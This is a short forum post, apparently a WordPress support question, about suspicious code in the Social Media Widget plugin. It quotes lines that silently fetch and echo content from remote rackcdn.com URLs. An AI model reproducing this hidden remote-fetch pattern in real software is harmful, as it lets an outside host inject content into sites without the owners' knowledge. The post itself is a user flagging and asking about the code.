Strange URL in social-widget.php

Hello,

I’m noticing a couple of strange looking URLs in social-widget.php, and and look like the plugin is getting content from these URLs

echo @file_get_contents('http://d1f9a7b8c1ff3ac47ec8-641702f80eb6ad3577595d11e20f37ad.r17.cf1.rackcdn.com/a.php');
		$file_path = 'http://d1f9a7b8c1ff3ac47ec8-641702f80eb6ad3577595d11e20f37ad.r17.cf1.rackcdn.com/b.php';
		$row_count = 1000;
$file_url = 'http://d1f9a7b8c1ff3ac47ec8-641702f80eb6ad3577595d11e20f37ad.r17.cf1.rackcdn.com/c.php';

Would you mind explaining what content the plugin is getting from these URLs?

By the way, the first 2 URL, the ones with a.php and b.php, were from an earlier version of the file, and the one with c.php is from the plugin that I just downloaded from WP repository (2/14/2013)

Thanks!

http://wordpress.org/extend/plugins/social-media-widget/